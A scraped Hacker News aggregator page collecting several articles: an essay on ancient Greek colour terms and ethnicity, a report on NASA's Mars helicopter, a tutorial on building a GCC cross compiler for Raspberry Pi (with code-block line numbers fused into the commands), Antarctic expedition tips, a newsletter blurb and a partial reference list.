Quantcast
Channel: Hacker News
Viewing all 25817 articles
Browse latest View live

Did the Greeks see themselves as white, black, or something else?

$
0
0

Few issues provoke such controversy as the skin-colour of the ancient Greeks. Last year in an article published in Forbes, the Classics scholar Sarah Bond at the University of Iowa caused a storm by pointing out that many of the Greek statues that seem white to us now were in antiquity painted in colour. This is an uncontroversial position, and demonstrably correct, but Bond received a shower of online abuse for daring to suggest that the reason why some like to think of their Greek statues as marble-white might just have something to do with their politics. This year, it was the turn of BBC’s new television series Troy: Fall of a City (2018-) to attract ire, which cast black actors in the roles of Achilles, Patroclus, Zeus, Aeneas and others (as if using anglophone northern European actors were any less anachronistic). 

The idea of the Greeks as paragons of whiteness is deeply rooted in Western society. As Donna Zuckerberg shows in her bookNot All Dead White Men (2018), this agenda has been promoted with gusto by sections of the alt-Right who see themselves as heirs to (a supposed) European warrior masculinity. Racism is emotional, not rational; I don’t want to dignify online armies of anonymous trolls by responding in detail to their assertions. My aim in this essay, rather, is to consider how the Greeks themselves viewed differences in skin colour. The differences are instructive – and, indeed, clearly point up the oddity of the modern, western obsession with classification by pigmentation.

Homer’s Iliad (a ‘poem about Ilion, or Troy’) and Odyssey (a ‘poem about Odysseus’) are the earliest surviving literary texts composed in Greek. For most other Greek literature, we have a more or less secure understanding of who the author was, but ‘Homer’ is still a mystery to us, as he was to most ancient Greeks: there is still no agreement whether his poems are the works of a single author or a collective tradition.

The poems are rooted in ancient stories transmitted orally, but the decisive moment in stabilising them in their current form was the period from the 8th to the 7th centuries BCE. The siege of Troy, the central event in the mythical cycle to which the Homeric poems belong, might or might not be based on a real event that took place in the earlier Bronze Age, in the 13th or 12th century BCE. Historically speaking, the poems are an amalgam of different temporal layers: some elements are drawn from the contemporary world of the 8th century BCE, some are genuine memories of Bronze Age times, and some (like Achilles’ phrase ‘immortal glory’) are rooted in seriously ancient Indo-European poetics. There is a healthy dollop of fantasy too, as all Greeks recognised: no one ever believed, for example, that Achilles’ horses really could talk.

Achilles was not a historical personage; or, rather, the figure in the poem might or might not be distantly connected to a real figure, but that isn’t the point. Achilles, as we have him and as the Greeks had him, is a mythical figure and a poetic creation. So the question is not ‘What did Achilles look like?’ but ‘How does Homer portray him?’ We have only one thing to go on here: Achilles is said in the Iliad to have xanthos hair. This word is often translated as ‘blond’, a translation that gives a powerful steer to the modern imagination. But translation can be deceptive. As Maria Michel Sassi’s essay for Aeon makes clear, the Greek colour vocabulary simply doesn’t map directly onto that of modern English. Xanthos could be used for things that we would call ‘brown’, ‘ruddy’, ‘yellow’ or ‘golden’.

Behind this apparently simple question – how do we translate a single word from Greek into English – lies a huge debate, both philosophical and physiological, that has exercised scholars for more than a century: do different cultures perceive and articulate colours in different ways? This isn’t a question we can address here, but it’s important to stress that early Greek colour terms have been at the heart of these debates (ever since the British prime minister William Gladstone, a keen amateur classicist, weighed in during the late-19th century).

The early Greek vocabulary of colour was very strange indeed, to modern eyes. The word argos, for example, is used for things that we would call white, but also for lightning and for fast-moving dogs. It seems to refer not simply to colour, but also to a kind of flashing speed. Khlōros (as in the English ‘chlorophyll’) is used for green vegetation, but also for sand on a shore, for tears and blood, and for the pallor of skin of the terrified. One scholar describes it as capturing the ‘fecund vitality of moist, growing things’: greenish, certainly, but colour represents only one aspect of the word, and it can easily be overridden. 

Weirdly, some early Greek terms for colour seem also to indicate intense movement. The same scholar points out that xanthos is etymologically connected to another word, xouthos, which indicates a rapid, vibrating movement. So, while xanthos certainly suggests hair in the ‘brown-to-fair’ range, the adjective also captures Achilles’ famous swift-footedness, and indeed his emotional volatility.

To call Odysseus ‘black-skinned’ associates him with the rugged, outdoors life he lived on ‘rocky Ithaca’

Let’s take another example, which will come as a surprise to those whose mental image of Homeric Greeks is marble-white. In the Odyssey, Athena is said to enhance Odysseus’ appearance magically: ‘He became black-skinned (melagkhroiēs) again, and the hairs became blue (kuaneai) around his chin.’ On two other occasions when she beautifies him, she is said to make his hair ‘woolly, similar in colour to the hyacinth flower’. Now, translating kuaneos (the root of the English ‘cyan’) as ‘blue’, as I have done here, is at first sight a bit silly: most translators take the word to mean ‘dark’. But given the usual colour of hyacinths, maybe – just maybe – he did have blue hair after all? Who knows; but here, certainly, is another example of just how alien the Homeric colour scheme is. To make matters worse, at one earlier point in the poem his hair is said to be xanthos, ie just like Achilles’; commentators sometimes take that to refer to grey grizzle (which is more evidence that xanthos doesn’t straightforwardly mean ‘blond’).

And what of ‘black-skinned’? Was Odysseus in fact black? Or was he (as Emily Wilson’s acclaimed new translation renders it) ‘tanned’? Once again, we can see how different translations prompt modern readers to envisage these characters in completely different ways. But to understand the Homeric text, we need to shed these modern associations. Odysseus’ blackness, like Achilles’ xanthos hair, isn’t intended to play to modern racial categories; rather, it carries with it ancient poetic associations. At another point in the Odyssey, we are told of Odysseus’ favourite companion Eurybates, who ‘was round-shouldered, black-skinned (melanokhroos), and curly-haired … Odysseus honoured him above his other comrades, because their minds worked in the same way.’ The last part is the crucial bit: their minds work in the same way, presumably, because Eurybates and Odysseus are both wily tricksters. And, indeed, we find the association between blackness and tricksiness elsewhere in early Greek thought.

‘Black’ (melas) and ‘white’ (leukos) are also – importantly – gendered terms: females are praised for being ‘white-armed’, but men never are. This differentiation finds its way into the conventions of Greek (and indeed Egyptian) art too, where we find women often depicted as much lighter of skin than men. To call a Greek man ‘white’ was to call him ‘effeminate’. Conversely, to call Odysseus ‘black-skinned’ might well associate him with the rugged, outdoors life he lived on ‘rocky Ithaca’.

So to ask whether Achilles and Odysseus are white or black is at one level to misread Homer. His colour terms aren’t designed to put people into racial categories, but to contribute to the characterisation of the individuals, using subtle poetic associations that evaporate if we just plump for ‘blond’ rather than ‘brown’, ‘tanned’ rather than ‘black’ (and vice versa). Greeks simply didn’t think of the world as starkly divided along racial lines into black and white: that’s a strange aberration of the modern, Western world, a product of many different historical forces, but in particular the transatlantic slave trade and the cruder aspects of 19th-century racial theory. No one in Greece or Rome ever speaks of a white or a black genos (‘descent group’). Greeks certainly noticed different shades of pigmentation (of course), and they differentiated themselves from the darker peoples of Africa and India, sometimes in aggressively dismissive terms that we would now call racist; but they also differentiated themselves from the paler peoples of the North (see Hippocrates’ On Airs, Waters, and Places). Greeks did not, by and large, think of themselves as ‘white’.

Xenophon in his Anabasis, the account of a mercenary army’s retreat through what is now central Turkey, describes meeting a curious people who asked if they could have public intercourse with the women accompanying the Greek army. This wasn’t the most peculiar thing about them: ‘all of them were white, the men and the women alike’. Being white, particularly for men, was in Xenophon’s eyes a sign of this people’s alienness.

We might add that modern geneticists too find classification by skin colour unhelpful, and indeed avoid the term ‘race’ (a meaningless category in biological terms). There is relatively little genetic difference between the human populations of different continents, and levels of skin pigmentation are a very poor proxy for general genetic relatedness. The distinction between ‘black’ African and ‘white’ European peoples, then, is not just unGreek: it’s also unbiological.

But this, of course, isn’t the only way of looking at the question. Let’s ask a different question: did the Homeric poems know of people whom we would describe as black Africans? Did they imagine them at Troy? Let’s remember that there was no defined territory of ‘Greece’ at this time (ie, around the 8th century BCE): Greek-speakers were founding colonies all over the Mediterranean, including in north Africa and on the Nile Delta. Trade with Egypt led the Greeks to borrow what we think of now as definitively Greek cultural forms, such as monumental temple architecture and the statues of standing males known as kouroi. The sea voyages of Odysseus described in the Odyssey capture the adventurous spirit of that age, and indeed voyages to Egypt are mentioned on a couple of occasions (though Homeric geography isn’t always precise). Egypt, of course, was a massively rich and impressively ancient state, and exerted a strong imaginative and real pull on Greeks throughout the ages.

In the upper (ie, southern) part of the Nile valley, in modern Sudan, lay another magnificent civilisation known variously as Kush, the Meroitic kingdom and Nubia. The Greeks came to call this place ‘Ethiopia’, which can mean ‘land of the burnt-faced people’. Ethiopians are mentioned several times in the Homeric poems as a pious, just people favoured by the gods, who visit them to share meals in a distant place ‘between the sunset and the dawn’. In the Odyssey, Menelaus claims to have visited them. Unfortunately, there is no description of what these people looked like and, given that they are said to live in the far East and far West, near the ocean, it might be that they had nothing at all to do with Africa (although it could be that he thought of Africa as lying in the West: the Homeric sense of geography, especially of remote lands, is very sketchy indeed). Post-Homeric mentions of the Ethiopians, however, place them firmly in Africa, and usually in the region of modern Sudan. The philosopher Xenophanes in the 6th century, for example, refers to them as ‘flat-nosed and black’.

Early vase paintings are difficult to use as evidence, as all the figures are black, regardless of ethnicity 

Why is this relevant to Homer? Because the Iliad and the Odyssey formed part of a mythical sequence that include Arctinus’ Aethiopis, ‘the poem about the Ethiopian’, which picked up the story where the Iliad left off, ie immediately after the burial of the top Trojan, Hector. The Trojans, having lost their best warrior, immediately bring in reinforcements from far-off lands: first, Penthesilea and the Amazons, and then Memnon and the Ethiopians. Both of these are major, heroic figures, who are defeated by Achilles; Memnon is given immortality after his death. So, the crucial question now is: were Memnon and his men imagined to be black?

Again, the tale is a tangled one. The Aethiopis doesn’t survive, and although we have a summary by a later writer, it tells us nothing about the ethnicity of the Ethiopians. For what it’s worth, a much later poetic recreation of the story told by an epic poet of the Roman Empire, Quintus of Smyrna (3rd century CE) – usually thought to be a traditionalist, and perhaps following Arctinus here – has the Ethiopians at Troy as black. But in the early period, the picture is confused. Early vase paintings are difficult to use as evidence, because all of the figures are black, regardless of ethnicity (due to the so-called ‘black-figure’ technique that the painters used). In one case from the sixth century BCE, we find a heavily armed (and therefore invisible to the viewer’s eye) Memnon flanked by two evidently African ‘squires’. When red-figure painting comes in, around 530 BCE in Athens, we find a couple of vase paintings that present Memnon as identical in colouring to the Greeks. But there are also vases that show mythical combatants with (exaggerated) African features, who might or might not be Memnon and his warriors. It is hard to think who else they might be; and even if they are not exactly Memnon, they are evidence that the Greeks could imagine African men in scenes of mythical combat.

In the 5th century we begin to get more detailed accounts in literary sources. Some depict Memnon as a Persian – perhaps reflecting the influence of the Persian Wars, which took place in the period from 490-472 BCE. But we do find African Memnon, too: a fragment of Aeschylus, probably from his play Memnon, reads: ‘I have learned definitely, and know, that I can speak of his [Memnon’s] origin as being from the land of Ethiopia, from which the seven-mouthed Nile rolls down its fertilising stream in overflowing abundance.’ The phrasing suggests that the speaker knows he is contradicting an alternative tradition about Memnon’s origin (probably the Persian one). 

So, in sum: we just don’t know whether Homer or Arctinus imagined African warriors at Troy, but there were certainly slightly later Greeks who did. My hunch is that Arctinus’ Ethiopians were black Africans (though Memnon himself might not have been): certainly there must have been some reason why the Homeric vagueness about the location of Ethiopia was so rapidly replaced by certainty that it lay in Africa, and a major epic poem is exactly the kind of thing that could have provided such authoritative certainty.

The presence, in at least some early Greeks’ minds, of black Africans on the battlefield at Troy, however, might be thought sharply to reduce the possibility that the Greek forces themselves included warriors whom we would call black today. The big question, of course, is whether we can say anything about what Greeks themselves looked like. Here we have to tread especially carefully, because there are a lot of traps. People often and very easily refer to ancient Greeks as ‘European’, as if the meaning of that term were self-evident. But ‘Europe’ is a historical construct, not a fact of nature. Yes, Greek as a language belongs to the Indo-European family linking Irish in the West to Sanskrit in India, via Armenian, Persian and many other languages, but let’s not get misled by the word ‘European’ in that phrase: it doesn’t in itself mean that speakers of a given language within the family are automatically European, any more than the ‘Indo-’ part means that they are Indian.

The settlers on the Greek peninsula migrated from the East. Culturally speaking, early Greek culture was defined by sea travel, and most of their dealings were with the coastal peoples of the eastern Mediterranean. Their most significant interactions in the early phase that we are discussing were with Semitic peoples (Phoenicians and Babylonians) and Egyptians. Early Greeks had little or no knowledge of, or interest in, most of what is now thought of as ‘Europe’: the inland and non-Mediterranean regions to the north-west. This is not, of course, directly relevant to the question of what Greeks actually looked like; but it’s a reminder that ‘European’ is a pretty meaningless term for ancient history, and is likely to mislead us.

Any attempt to answer the question of what ancient Greeks looked like has to be led by genetic research, not by assumptions. A paper published last year in the journal Nature analysed the DNA of 19 individuals from mainland Greece and Crete. The original owners of the DNA lived well before the period we are considering, between c2900 BCE-c1200 BCE. The results of the analysis, however, are relevant to the later era, too. It showed that there was a broad genetic continuity between Greeks of the Minoan period (taken in the study as c2900-1700 BCE) and Greeks of the present day. To quote the paper, Minoan Greeks took ‘at least three-quarters of their ancestry from the first Neolithic farmers of western Anatolia and the Aegean, and most of the remainder from ancient populations related to those of the Caucasus and Iran’. DNA from the Mycenaean period (taken as 1700-1200 BCE) saw new genetic input from the Eurasian Steppe or Armenia.

Homer’s Greek warriors probably didn’t look much like David Gyasi, but nor did they look like Brad Pitt

At the same time, however, the paper warns against seeing the Greek population as isolated; as well as broad continuity, the research also shows the porous boundaries of the Greek world. This will have intensified in the early Iron Age (ie, when the Homeric poems were taking shape), which was an era of increased population movement. The upshot is that we can be pretty confident that ancient Greeks were similar in genotype and phenotype to modern Greeks. There are, however, some qualifications: Greeks of the Bronze Age are likely to have had darker skin, eyes and hair.

By and large, then, ancient Greeks probably looked generally like darker versions of modern Greeks (which, incidentally, sheds interesting light on Homer’s ‘black-skinned’ Odysseus and Eurybates). They were, of course, shorter too: the average height of the owners of surviving ancient Greek skeletons was around 5ft 4in (163 cm) for men and 5ft (153 cm) for women. Also, at the time that the Iliad and the Odyssey were written, there is likely to have been a greater variation at the individual level than at the time of the study, because of the extent of Greek reach across the Mediterranean and into north Africa, and the likelihood of immigration and intermarriage. In brief: the Greek warriors that Homer imagined probably did not look much like David Gyasi (Achilles in the BBC show), but nor did they look like Brad Pitt (Achilles in the Hollywood movie Troy).

Colour vocabulary is often felt by its users to be natural and obvious, because the visual register is so immediate and vivid to us. We think that the colours we see are inscribed into the order of things. At a physiological level, indeed, that may be true. But when our brains begin the process of making sense of those neurological signals, then, inevitably, we start using the categories that we have learned from those around us. Looking into the past and training ourselves to see with the eyes of other cultures, are powerful ways of denaturalising our inherited conceptual categories, and of recognising that they are not inevitable. The final irony is that the ancient Greeks, so often thought of in Europe and North America as self-evidently white, would have been staggered at this suggestion. 

Syndicate this Essay


Nasa will send helicopter to Mars to test otherworldly flight

$
0
0

Media playback is unsupported on your device

Media captionNasa is sending the helicopter to Mars for a mission in 2020

Nasa is sending a helicopter to Mars, in the first test of a heavier-than-air aircraft on another planet.

The Mars Helicopter will be bundled with the US space agency's Mars rover when it launches in 2020.

Its design team spent more than four years shrinking a working helicopter to "the size of a softball" and cutting its weight to 1.8kg (4lbs).

It is specifically designed to fly in the atmosphere of Mars, which is 100 times thinner than Earth's.

Nasa describes the helicopter as a "heavier-than-air" aircraft because the other type - sometimes called an aerostat - are balloons and blimps.

Soviet scientists dropped two balloons into the atmosphere of Venus in the 1980s. No aircraft has ever taken off from the surface of another planet.

The helicopter's two blades will spin at close to 3,000 revolutions a minute, which Nasa says is about 10 times faster than a standard helicopter on Earth.

"The idea of a helicopter flying the skies of another planet is thrilling," said Nasa Administrator Jim Bridenstine.

"The Mars Helicopter holds much promise for our future science, discovery, and exploration missions to Mars."

While the tiny craft is being called a helicopter rather than a drone, there will be no pilot.

Image copyrightNASA / JPL
Image caption Nasa provided this computer-generated image of the helicopter's design

It will be flying almost 55 million km (34 million miles) from Earth, too far away to send a remote control signal.

"Earth will be several light minutes away, so there is no way to joystick this mission in real time," said Mimi Aung, the project manager at Nasa's Jet Propulsion Laboratory.

Instead, the helicopter will "fly the mission on its own".

The JPL team made the minuscule helicopter as strong as possible to give it the best chance of surviving.

"The altitude record for a helicopter flying here on Earth is about 40,000 feet," Ms Aung said. "When our helicopter is on the Martian surface, it's already at the Earth equivalent of 100,000 feet up."

That is part of the reason why Nasa is calling the Mars helicopter a "high risk" project.

"If it does not work, the Mars 2020 mission will not be impacted. If it does work, helicopters may have a real future as low-flying scouts and aerial vehicles to access locations not reachable by ground travel," Nasa said in a statement.

Existing Mars vehicles have been wheeled devices, which have to navigate around many obstacles in their path and have been confined to fairly large open spaces on the surface of Mars.

One such vehicle, the Spirit rover, got stuck in a patch of sand in 2009, where it eventually ran out of power and shut down.

The Mars 2020 rover - accompanied by its helicopter companion - is due to launch in July of that year and arrive on the red planet in February 2021.

Building GCC as a Cross Compiler for Raspberry Pi

$
0
0

In this article, I will show you how to build GCC 8 as a cross compiler for Raspberry Pi. A cross compiler is a compiler that runs on an operating system and produces executables for another. This is really useful when you want to use your beefy computer to build a library or other large piece of code for Raspberry Pi. As a practical example, at the end of the article, I will show you how to use the cross compiler to build GCC itself as a native Raspberry Pi application.

Part of this article is a compilation of what I’ve learned reading other people posts. Here is a list of the sources I’ve used:

From the above list, the first article is the one that is the most complete and, if you follow it, you end up with a cross compiler that partially works. To be fair, the article wasn’t written for Raspberry Pi. I recommend that you read it if you want to see a more in depth explanation of certain steps of the process.

To build and host the cross compiler, I’ve used Ubuntu 18.04, but a similar procedure should work on other Linux distributions.

First, make sure your system is updated and install the required prerequisites:

1 sudo apt update2 sudo apt upgrade3 sudo apt install build-essential gawk git texinfo bison

At the time of this writing, Raspbian comes with GCC 6.3.0, Binutils 2.28 and Glibc 2.24. It is really important that we build our cross compiler using the same Glibc version as the one from Raspbian. This will allow us to integrate nicely with the OS. If you are from the future and read this article, you can check the versions of the above software with these commands:

1 gcc --version2 ld -v3 ldd -v

This is what I see on my Raspberry Pi:

 1 pi@raspberrypi:~ $ gcc --version 2 gcc (Raspbian 6.3.0-18+rpi1+deb9u1) 6.3.0 20170516 3 Copyright (C) 2016 Free Software Foundation, Inc. 4 This is free software; see the source for copying conditions.  There is NO 5 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 6  7 pi@raspberrypi:~ $ ld -v 8 GNU ld (GNU Binutils for Raspbian) 2.28 9 10 pi@raspberrypi:~ $ ldd --version11 ldd (Debian GLIBC 2.24-11+deb9u3) 2.2412 Copyright (C) 2016 Free Software Foundation, Inc.13 This is free software; see the source for copying conditions.  There is NO14 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.15 Written by Roland McGrath and Ulrich Drepper.

If you are trying to build Glibc 2.24 with a more modern GCC, like 7.x or 8.x, you are going to get a lot of errors. Easiest approach is to build Glibc with GCC 6.3.0 and later use it with the latest and greatest GCC, which at this time is 8.1.

In the next instructions I’ll assume that you are doing all the steps in a separate folder and that you keep the same Terminal session until everything is done. For example, you can create a working folder in your home:

1 cd ~2 mkdir gcc_all && cd gcc_all

Let’s download the software that we’ll use for building the cross compiler:

1 wget https://ftpmirror.gnu.org/binutils/binutils-2.28.tar.bz22 wget https://ftpmirror.gnu.org/gcc/gcc-6.3.0/gcc-6.3.0.tar.gz3 wget https://ftpmirror.gnu.org/glibc/glibc-2.24.tar.bz24 wget https://ftpmirror.gnu.org/gcc/gcc-8.1.0/gcc-8.1.0.tar.gz5 git clone --depth=1 https://github.com/raspberrypi/linux

Next, extract the archives and erase them:

1 tar xf binutils-2.28.tar.bz22 tar xf glibc-2.24.tar.bz23 tar xf gcc-6.3.0.tar.gz4 tar xf gcc-8.1.0.tar.gz5 rm *.tar.*

GCC also needs some prerequisites which we can download inside the source folder:

1 cd ..2 cd gcc-6.3.03 contrib/download_prerequisites4 rm *.tar.*5 cd ..6 cd gcc-8.1.07 contrib/download_prerequisites8 rm *.tar.*

Next, create a folder in which we’ll put the cross compiler and add it to the path:

1 cd ..2 sudo mkdir -p /opt/cross-pi-gcc3 sudo chown $USER /opt/cross-pi-gcc4 export PATH=/opt/cross-pi-gcc/bin:$PATH

Copy the kernel headers in the above folder, see Raspbian documentation for more info about the kernel:

1 cd ..2 cd linux3 KERNEL=kernel74 make ARCH=arm INSTALL_HDR_PATH=/opt/cross-pi-gcc/arm-linux-gnueabihf headers_install

Next, let’s build Binutils:

1 cd ..2 mkdir build-binutils && cd build-binutils3 ../binutils-2.28/configure --prefix=/opt/cross-pi-gcc --target=arm-linux-gnueabihf --with-arch=armv6 --with-fpu=vfp --with-float=hard --disable-multilib4 make -j 85 make install

Open in a text editor ubsan.c from gcc-6.3.0/gcc/, find line 1474:

1 ||xloc.file=='\0'||xloc.file[0]=='\xff'

and change it to:

1 ||xloc.file[0]=='\0'||xloc.file[0]=='\xff'

save and close the file.

GCC and Glibc are interdependent, you can’t fully build one without the other, so we are going to do a partial build of GCC, a partial build of Glibc and finally build GCC and Glibc. You can read more about this in Preshing’s article.

1 cd ..2 mkdir build-gcc && cd build-gcc3 ../gcc-6.3.0/configure --prefix=/opt/cross-pi-gcc --target=arm-linux-gnueabihf --enable-languages=c,c++,fortran --with-arch=armv6 --with-fpu=vfp --with-float=hard --disable-multilib4 make -j8 all-gcc5 make install-gcc

Now, let’s partially build Glibc:

1 cd ..2 mkdir build-glibc && cd build-glibc3 ../glibc-2.24/configure --prefix=/opt/cross-pi-gcc/arm-linux-gnueabihf --build=$MACHTYPE --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf --with-arch=armv6 --with-fpu=vfp --with-float=hard --with-headers=/opt/cross-pi-gcc/arm-linux-gnueabihf/include --disable-multilib libc_cv_forced_unwind=yes4 make install-bootstrap-headers=yes install-headers5 make -j8 csu/subdir_lib6 install csu/crt1.o csu/crti.o csu/crtn.o /opt/cross-pi-gcc/arm-linux-gnueabihf/lib7 arm-linux-gnueabihf-gcc -nostdlib -nostartfiles -shared -x c /dev/null -o /opt/cross-pi-gcc/arm-linux-gnueabihf/lib/libc.so8 touch /opt/cross-pi-gcc/arm-linux-gnueabihf/include/gnu/stubs.h

Back to GCC:

1 cd ..2 cd build-gcc3 make -j8 all-target-libgcc4 make install-target-libgcc

Finish building Glibc:

1 cd ..2 cd build-glibc3 make -j84 make install

Finish building GCC 6.3.0:

1 cd ..2 cd build-gcc3 make -j84 make install5 cd ..

Optionally, write a small C or C++ test program, you can build the code with:

1 arm-linux-gnueabihf-g++ test.cpp -o test

The resulting executable, test, from above was build with our first cross compiler and will run on your Pi. You can check that using the file command:

1 $ file test2 test: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, not stripped

At this point, you have a full cross compiler toolchain with GCC 6.3.0. Make a backup before proceeding with the next step:

1 sudo cp -r /opt/cross-pi-gcc /opt/cross-pi-gcc-6.3.0

Next, we are going to use the above built Glibc to build a more modern cross compiler that will overwrite 6.3:

1 cd ..2 mkdir build-gcc8 && cd build-gcc83 ../gcc-8.1.0/configure --prefix=/opt/cross-pi-gcc --target=arm-linux-gnueabihf --enable-languages=c,c++,fortran --with-arch=armv6 --with-fpu=vfp --with-float=hard --disable-multilib4 make -j85 make install

At this point, you can use GCC 8.1 to cross compile any C, C++ or Fortran code for your Raspberry Pi. You can invoke any of the cross compilers by using the prefix:

examples: arm-linux-gnueabihf-gcc, arm-linux-gnueabihf-g++, arm-linux-gnueabihf-gfortran.

In order to stress test our cross compiler, let’s use it to cross compile itself for the Pi:

1 sudo mkdir -p /opt/gcc-8.1.02 sudo chown $USER /opt/gcc-8.1.03 4 cd ..5 mkdir build-native-gcc8 && cd build-native-gcc86 ../gcc-8.1.0/configure --prefix=/opt/gcc-8.1.0 --build=$MACHTYPE --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf --enable-languages=c,c++,fortran --with-arch=armv6 --with-fpu=vfp --with-float=hard --disable-multilib --program-suffix=-8.1.07 make -j 88 make install-strip

You should end up with a a native ARM GCC in your /opt/gcc-8.1.0 folder.

As a side note, building GCC 8.1 with the above cross compiler took about 12 minutes on my Ubuntu machine. Compare this with the 5 hours I needed to build GCC 8.1 directly on my Pi 3 and you will see the advantage of having a cross compiler on your main machine. Someone told me that compiling GCC 7 on a Raspberry Pi Zero took about 5 days!

If you want to permanently add the cross compiler to your path, use something like:

1 cd ~2 echo 'export PATH=/opt/cross-pi-gcc/bin:$PATH' >> .bashrc

You can now, optionally, safely erase the build folder. Assuming you’ve followed my advice, from your home folder use the next command:

Let’s archive the compiler and save it to our home folder:

1 cd /opt2 tar -cjvf ~/gcc-8.1.0.tar.bz2 gcc-8.1.03 cd ~

Copy gcc-8.1.0.tar.bz2 to your RPi. In the next paragraphs I’ll assume you are on your RPi and that the above archive is in your home folder:

1 cd ~2 tar xf gcc-8.1.0.tar.bz23 rm gcc-8.1.0.tar.bz24 sudo mv gcc-8.1.0 /opt

Next, we are going to add the new compilers to the path and create a few symbolic links:

 1 echo 'export PATH=/opt/gcc-8.1.0/bin:$PATH' >> .bashrc 2 echo 'export LD_LIBRARY_PATH=/opt/gcc-8.1.0/lib:$LD_LIBRARY_PATH' >> .bashrc 3 source .bashrc 4 sudo ln -s /usr/include/arm-linux-gnueabihf/sys /usr/include/sys 5 sudo ln -s /usr/include/arm-linux-gnueabihf/bits /usr/include/bits 6 sudo ln -s /usr/include/arm-linux-gnueabihf/gnu /usr/include/gnu 7 sudo ln -s /usr/include/arm-linux-gnueabihf/asm /usr/include/asm 8 sudo ln -s /usr/lib/arm-linux-gnueabihf/crti.o /usr/lib/crti.o 9 sudo ln -s /usr/lib/arm-linux-gnueabihf/crt1.o /usr/lib/crt1.o10 sudo ln -s /usr/lib/arm-linux-gnueabihf/crtn.o /usr/lib/crtn.o

At this point, you should be able to invoke the compilers with gcc-8.1.0, g++-8.1.0 or gfortran-8.1.0.

Let’s try to compile and run a C++17 code that uses an if block with init-statement (the example is a bit silly, but it will show you how to compile C++17 programs):

 1 #include<iostream> 2  3 intmain(){ 4 // if block with init-statement: 5 if(inta=5;a<8){ 6 std::cout<<"Local variable a is < 8\n"; 7 }else{ 8 std::cout<<"Local variable a is >= 8\n"; 9 }10 return0;11 }

Save the above code in a file named if_test.cpp and compile it with:

1 g++-8.1.0 -std=c++17 -Wall -pedantic if_test.cpp -o if_test

This is what I see on my RPi:

1 pi@raspberrypi:~ $ g++-8.1.0 -std=c++17 -Wall -pedantic if_test.cpp -o if_test2 pi@raspberrypi:~ $ ./if_test3 Local variable a is < 84 pi@raspberrypi:~ $

If you want to learn more about programming on the Raspberry Pi, a very good book is Exploring Raspberry Pi by Derek Molloy:

If you are interested to learn more about modern C++, I recommend A Tour of C++ by Bjarne Stroustroup:



Things no one tells you before an Antarctic expedition (2015)

$
0
0
Adventurer and novelist Patrick Woodhead in Antarctica  

1. You're going to have to eat a lot of raw butter.

When you are skiing across Antarctica and putting in 12-14 hour days of pulling a sled in minus 40C, you have to keep your calorie count up. A normal man burns about 2,500 calories in a day. We burn between 7,000 to 9,000. That means supplementing your dehydrated food with slabs of butter. In the first few days of the expedition, it tastes revolting, but then your body just craves the fat content and you eat the butter like blocks of cheese.

2. Washing is a painful experience.

We melt snow to make drinking water, but there is not enough fuel to have water for washing. Therefore, the only way to keep clean on an 80 day expedition is by running outside naked in minus 30 and rubbing yourself down with snow. It’s traumatic - and not just for you, as frequently you scare the hell out of your teammates by crashing into the tent beside them totally naked.

3. Take it one step at a time.

On the traverse of Antarctica we were trying to cover 1,850km. After the first week, we had only done a few miles total and then had to climb 3,000m onto the high polar plateau. The lack of progress and subsequent sense of utter despair can easily overwhelm you, so you have to break the journey down into small increments just to keep sane. It may seem stupid celebrating travelling 100km when you have 18 times that distance to go, but never underestimate the power of denial.

4. Choose your companions carefully. You may have to eat them.

So goes the famous polar maxim. But choosing your teammates wisely is the difference between an enjoyable trip and one where you want to commit homicide on a daily basis. Tiny idiosyncrasies, such as snoring, chewing too loudly, or fidgeting in the tent, can be a source of incredible tension that builds up over the days of confinement.

Patrick Woodhead

5. Going mental.

Middle aged people tend to make better polar explorers. Not so much because they are physically more capable, but more to do with their mental capacity. Out on the high polar plateau there is nothing but endless white stretching off in every direction. You ski for 12 hours a day and because of the wind and cold, it’s almost impossible to talk to your team mates. So, in effect, you are alone in your head for all that time. By being a bit older and having a bit more life experience, it helps fill the blank canvas that is Antarctica.

6. The tent is a surprisingly nice place to be.

Due to 24 hours sunlight and the power of the solar radiation, the tent warms up considerably. It may be as low as minus 40C outside, but inside the tent it can reach +5C. This means the tent is a wonderful shelter from the elements. You can repair all your clothing, eat some food and generally relax even when you are hundreds of kilometers from the nearest other humans.

7. Take a notebook and pencil.

Writing down your inner turmoil, thoughts, moments of brilliance, or moments of despair and frustration is one of the more valuable parts of an expedition. It also forms valuable research for my books because it enables me to capture my raw thoughts when in the moment.

8. Frostbite is about sweat, genetics and experience.

Getting frostbite is a very real part of a protracted polar expedition. It’s only too easy to work a bit harder than you should, work up a sweat and then the sweat ices up on the inside of your jacket or gloves. You have to operate just under the sweat level (which in minus 40C is quite high). Secondly, it’s about experience. You need to know how long you can freeze your hands for as you fix a broken ski binding, for example, before you have to stop what you are doing and devote some attention to warming up your hands. You can only know how far to push your body before doing damage to it if you have been in the field and have the experience. Lastly, it is genetics. Pure and simple. Some people are just better in the cold than others.

9. Expect delays.

Planes rarely run on schedule due to changes in weather. Add a lot of spare time to the other sides of your expedition, as it is just not going to run according to the preconceived dates.

10. Re-entry.

There is often a huge sense of isolation and disconnect when you come back to everyday life. For so long, you have been out in the wilderness and singularly concerned with survival and mileage, so when you get back to the real world and people talk about their jobs, or what they did at the weekend, it all feels foreign. You must remember that people have their own lives and their own interests. Just because you like Antarctica and polar expeditions, it doesn't mean anyone else should give a damn about you or what you did.

Beneath the Ice by Patrick Woodhead is published by Arrow, 1st January 2015, and is available for £7.99 in paperback

Discover dev – a daily digest of engineering blogs

$
0
0

Carefully handpicked and packed by nerds like you and delivered to your mailbox. Once a week! :D

We take your time and privacy seriously - no sharing of email, no spamming and no BS. You can unsubscribe anytime.

Grid-Cell Like Deep Layers in Navigation AI

$
0
0
  • 1.

    LeCun, Y., Bengio, Y. & Hinton, G. Deep learning. Nature521, 436–444 (2015).

  • 2.

    Silver, D. et al. Mastering the game of Go with deep neural networks and tree search. Nature529, 484–489 (2016).

  • 3.

    Oh, J., Chockalingam, V., Singh, S. P. & Lee, H. Control of memory, active perception, and action in Minecraft. Proc. Intl Conf. Machine Learning48 (2016).

  • 4.

    Kulkarni, T. D., Saeedi, A., Gautam, S. & Gershman, S. J. Deep successor reinforcement learning. Preprint at https://arxiv.org/abs/1606.02396 (2016).

